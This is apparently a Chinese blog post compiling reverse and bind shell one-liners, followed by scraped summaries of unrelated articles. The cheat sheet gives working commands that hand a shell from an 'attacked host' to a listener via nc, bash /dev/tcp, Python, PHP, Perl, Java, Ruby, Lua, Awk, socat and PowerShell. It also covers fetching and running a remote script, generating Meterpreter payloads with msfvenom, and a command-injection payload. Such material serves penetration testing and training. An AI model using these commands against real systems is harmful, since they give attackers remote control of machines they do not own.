反弹shell总结
反弹shell总结
- 讲在前面说的话:
- 反弹shell总结
- nc反弹shell
- 正向shell
- 反向shell
- 正向shell(服务端被攻击):
- 反向shell(客户端被攻击):
- 无nc反弹shell
- python反弹shell
- bash反弹shell
- PHP反向shell
- Perl反向shell
- Java反弹shell
- socat 反弹shell
- Ruby反弹shell
- Lua反弹shell
- Awk 反弹shell
- exec反弹shell
- powershell反弹shell
- 利用msf生成反弹shell
- kali综合渗透测试-常用代码
- 各种反弹shell方法总结备忘
- shell分为两种,一种是正向shell,另一种是反向shell。
- (1)正向shell
- (2)反向shell
- 4.在目标主机中没有nc时获得反向shell
- (1)Python反向shell
- (2)Bash反向shell
- (3)PHP反向shell
- (4)Perl反向shell
- (5)Java脚本反弹shell
- (6)socat 反弹shell
- (7)Ruby反弹shell
- (8)Lua反弹shell
- (9)Awk反弹shell
- (10)exec反弹shell
- (11)nc反弹shell:
- (12)powershell反弹shell
- (13)从原生的 shell 环境切换到linux的交互式 bash 环境 通常我们nc获得的shell都是不完全shell,需要通过Python的pty转换为拥有完全命令行的完全shell,方便我们进行复制粘贴等操作。
- 【技术分享】linux各种一句话反弹shell总结
- 简介
- 一、场景一
- 1.1 安装netcat
- 1.2 开启本地监听
- 1.3 直接连接目标主机
- 二、场景二
- 2.1 bash 直接反弹
- 2.2 netcat 工具反弹
- 2.3 socat 反弹一句话
- 2.4 其他脚本一句话shell反弹
- 2.5 msfvenom 获取反弹一句话
- 三、场景三
- 3.1 一句话添加账号
- 3.2 python 标准虚拟终端获取
- 四、写在最后
- 4.1 nc开启本地监听发布bash服务
- 4.2 常用反弹shell一句话
- 4.3 利用msfvenom获取反弹一句话
- 4.4 使用python获取标准shell
- 4.5 linux 一句话添加账户
- 学习参考
- 反弹SHELL汇总
- Reverse Shell Cheat Sheet
- Bash
- PERL
- Python
- PHP
- Ruby
- Netcat
- Java
- xterm
- Further Reading
- 几种常见反弹shell汇总
- 0x01. bash
- 0x02. nc(netcat)反弹
- 0x03. telnet反弹
- 常见脚本反弹
- 1. python
- 2. perl
- 方法二:
- 3. Ruby
- 4. PHP
- 5. Java
- 6. Lua
- 7. AWK 反弹
- Reference
- 10种反弹shell方式
- 参考链接:
- 10种反弹shell方式
- 1. bash
- 2. perl
- 3. python
- 4. php
- 5. ruby
- 6. nc
- 7. java
- 8. xterm
- 9. exec
- 10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境
讲在前面说的话:
没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结
反弹shell总结
nc反弹shell
正向shell
nc -lvp 1234 -e /bin/bash # linux 服务端(被攻击的主机)
nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端(被攻击的主机)
nc host.example.com 1234 # linux 客户端
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux 服务端(被攻击的主机)
nc host.example.com 1234 # 客户端
反向shell
nc -lvp 1234 # 服务端
nc host.example.com 1234 -e /bin/sh # linux 客户端 (被攻击的主机)
nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客户端 (被攻击的主机)
正向shell(服务端被攻击):
本地或vps将自己的shell传给服务器(端口监听在服务器上)
反向shell(客户端被攻击):
目标机器将shell主动传给本地或vps(端口监听在本地vps上)
无nc反弹shell
python反弹shell
nc -lvp 1234 # 服务端
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# 绕过限制sudo提权
sudo python -c "import pty;pty.spawn("/bin/bash")"
# 反弹shell后,显示当前用户信息
python -c "import pty; pty.spawn("/bin/bash")"
bash反弹shell
nc -lvp 1234 # 服务端
bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客户端 (被攻击的主机)
PHP反向shell
php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Java反弹shell
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});
p.waitFor();
socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234
Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Awk 反弹shell
awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
exec反弹shell
exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196
powershell反弹shell
apt-get install powshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234
利用msf生成反弹shell
Msfvenom生成一个反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php
利用模块
use exploit/multi/handler
msf生成一个war格式的反弹shell
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war
msfvenom生成一个payload,上传到目标,增加执行权限
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf
kali综合渗透测试-常用代码
命令执行漏洞反弹shell代码:
echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash
burpsuite抓包修改用户名密码的数据包内容代入数据库执行,反弹shell语句
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1相关文章:
反弹shell总结
反弹shell总结 讲在前面说的话:反弹shell总结nc反弹shell正向shell反向shell正向shell(服务端被攻击):反向shell(客户端被攻击):无nc反弹shellpython反弹shellbash反弹shellPHP反向shellPerl反向shellJava反弹shellsocat 反弹shellRuby反弹shellLua反弹shellAwk 反弹she…...
[机缘参悟-103] :IT人关于接纳的思考与感悟
目录 前言: 一、接纳 1.1 什么是接纳 1.2 对接纳的误解 1.3 接纳的含义 1.4 "存在即合理" VS 接纳 1.5 接纳 VS 躺平 VS 随遇而安 1.6 为什么现实总是那么不尽人意 1.7 现实世界的多样性 1.8 接纳与认命 1.9 不接纳的表现 前言: …...
甄知携AIGC新升级产品参与首届人工智能生成内容国际会议,共探AIGC最前沿技术
首届人工智能生成内容国际会议(2023The 1st International Conference on AI-generated Content (AIGC2023)于2023年8月25-26日在中国上海举行。本次会议得到了复旦大学、中国科技大学、同济大学、上海交通大学、上海人工智能实验室、香港中文大学等知名院校和研究机构的大力支…...
4.9 已建立连接的TCP,收到SYN会发生什么?
1. 客户端的 SYN 报文里的端口号与历史连接不相同 此时服务端会认为是新的连接要建立,于是就会通过三次握手来建立新的连接。 旧连接里处于 Established 状态的服务端最后会怎么样呢? 服务端给客户端发消息了:客户端连接已被关闭ÿ…...
leetcode 365 水壶问题
有一个水壶容量或者两个水壶加起来总容量为目标容量 总共有八种选择:第一种倒满x,第二种倒满y,第三种清空x,第四种清空y,第五种x 倒给 y y能装满 ,第六种 x 倒给 y x倒完, 。。。。 这里用深度遍历,时间超时 class Solution {public boole…...
django/CVE-2017-12794XSS漏洞复现
docker搭建漏洞复现环境 漏洞原理看帮助文档 # Django debug page XSS漏洞(CVE-2017-12794)分析Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞,这篇文章说明一下该漏洞的原理和复现,和我的一点点评…...
【学习笔记】计算机视觉对比学习综述
计算机视觉对比学习综述 前言百花齐放InstDiscInvaSpreadCPCCMC CV双雄MoCoSimCLRMoCo v2SimCLR v2SwAV 不用负样本BYOLSimSiam TransformerMoCo v3DINO 总结参考链接 前言 本篇对比学习综述内容来自于沐神对比学习串讲视频以及其中所提到的论文和博客,对应的链接详…...
【Linux】fork函数的基础知识
文章目录 前言一、fork的返回值二、常见问题 1.为什么fork要给子进程返回0,给父进程返回子进程pid?2.一个函数返回两次值怎么理解? 3.一个变量怎么会有不同的内容? 4.fork函数干了什么? 前言 fork初识: …...
代码随想录算法训练营day48 | LeetCode 198. 打家劫舍 213. 打家劫舍 II 337. 打家劫舍 III
198. 打家劫舍(题目链接:力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台) 思路:dp题除背包外的另外一类题目,重点不在于看前面的情况,而在于考虑本节点的情况。一种情况…...
【已解决】Java 后端使用数组流 Array.stream() 将数组格式的 Cookie 转换成字符串格式
🎉工作中遇到这样一个场景:远程调用某个接口,该接口需要用户的 Cookie 信息进行权限认证,认证通过之后才可以打通并返回数据。 在后端拿到 httpServletRequest 后,调用 getCookies() 方法,返回的是一个 Coo…...
Redis——》如何评估锁过期时间
推荐链接: 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Kafka】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 总结——》【Linux】 总结——》【MongoD…...
完整开发实现公众号主动消息推送,精彩内容即刻到达
🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,CSDN博客专家,阿里云社区专家博主,2023年6月CSDN上海赛道top4。 🏆数年电商行业从业经验,历任核心研发工程师…...
获取ip(公网和内网) 前端通过高德api获取位置信息
获取ip(公网和内网) 前端通过高德api获取位置信息 获取ip //获取公网ip getIp() {this.$axios.get(http://api.ipify.org).then((res) > {if (res) {console.log(res, 公网ip);}}).catch((e) > {console.log(e, e);}); },//获取内网ip this.getIP(…...
linux打开端口命令是什么
linux打开端口命令是什么 linux开启端口的命令是 1 firewall-cmd --zonepublic --add-port端口/通讯协议 --permanent 需要注意的是,我们在开启指定端口后需要重启防火墙。 示例如下: 1、开启防火墙 1 systemctl start firewalld 2、开放指定端…...
从《孤注一掷》出发,聊聊 SSL 证书的重要性
你去看《孤注一掷》了吗?相信最近大家的朋友圈和抖音都被爆火电影《孤注一掷》成功刷屏。取材于上万真实案例的《孤注一掷》揭露了缅甸诈骗园区残暴的统治,以及电信诈骗中系统性极强的诈骗技巧,引发了大量讨论。 图片来源于电影《孤注一掷》…...
专题:曲面的切平面、法线
假设曲面方程为隐函数 F ( x , y , z ) 0 ,点 M ( x 0 , y 0 , z 0 ) 是其上一点 又在点 M 处任意引一条在曲面上的曲线,设该曲线参数方程为: { x φ ( t ) y ψ ( t ) z ω ( t ) ,且当 t t 0 时, x x 0 , y y…...
数据结构:排序解析
文章目录 前言一、常见排序算法的实现1.插入排序1.直接插入排序2.希尔排序 2.交换排序1.冒泡排序2.快速排序1.hoare版2.挖坑版3.前后指针版4.改进版5.非递归版 3.选择排序1.直接选择排序2.堆排序 4.归并排序1.归并排序递归实现2.归并排序非递归实现 5.计数排序 二、排序算法复杂…...
Revit SDK:AutoJoin 自动合并体量
前言 Revit 有一套完整的几何造型能力,每一个体量都是一个GenericForm,这些体量可以通过拉伸、扫掠等创建。这个例子介绍如何将他们合并成一个体量。 内容 合并体量的关键接口: // Autodesk.Revit.DB.Document public GeomCombination Com…...
MYSQL(索引、事务)
文章目录 一、索引二、事务 一、索引 数据库中的表、数据、索引之间的关系,类似于书架上的图书、书籍内容和书籍目录的关系 1. 概述 概念:相当于是一本书的目录,是以‘列’为维度进行建立的使用场景:如果我们要查询一个表中的某个…...
部署问题集合(二十三)设置Docker容器内的中文字符集,解决某些情况下中文乱码的问题
前言: 同事给了一个服务,在Windows环境下怎么跑都正常,但一到Linux虚拟机里就中文乱码起初就想到了可能是字符集的问题,但调整了半天也没见效果,最后隔了几天突然想到,我是构建Docker跑的,而且…...
Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
Unity UGUI Button事件流程
场景结构 测试代码 public class TestBtn : MonoBehaviour {void Start(){var btn GetComponent<Button>();btn.onClick.AddListener(OnClick);}private void OnClick(){Debug.Log("666");}}当添加事件时 // 实例化一个ButtonClickedEvent的事件 [Formerl…...
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分: 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
Linux 下 DMA 内存映射浅析
序 系统 I/O 设备驱动程序通常调用其特定子系统的接口为 DMA 分配内存,但最终会调到 DMA 子系统的dma_alloc_coherent()/dma_alloc_attrs() 等接口。 关于 dma_alloc_coherent 接口详细的代码讲解、调用流程,可以参考这篇文章,我觉得写的非常…...
大模型——基于Docker+DeepSeek+Dify :搭建企业级本地私有化知识库超详细教程
基于Docker+DeepSeek+Dify :搭建企业级本地私有化知识库超详细教程 下载安装Docker Docker官网:https://www.docker.com/ 自定义Docker安装路径 Docker默认安装在C盘,大小大概2.9G,做这行最忌讳的就是安装软件全装C盘,所以我调整了下安装路径。 新建安装目录:E:\MyS…...
深入解析 ReentrantLock:原理、公平锁与非公平锁的较量
ReentrantLock 是 Java 中 java.util.concurrent.locks 包下的一个重要类,用于实现线程同步,支持可重入性,并且可以选择公平锁或非公平锁的实现方式。下面将详细介绍 ReentrantLock 的实现原理以及公平锁和非公平锁的区别。 ReentrantLock 实现原理 基本架构 ReentrantLo…...
英国云服务器上安装宝塔面板(BT Panel)
在英国云服务器上安装宝塔面板(BT Panel) 是完全可行的,尤其适合需要远程管理Linux服务器、快速部署网站、数据库、FTP、SSL证书等服务的用户。宝塔面板以其可视化操作界面和强大的功能广受国内用户欢迎,虽然官方主要面向中国大陆…...
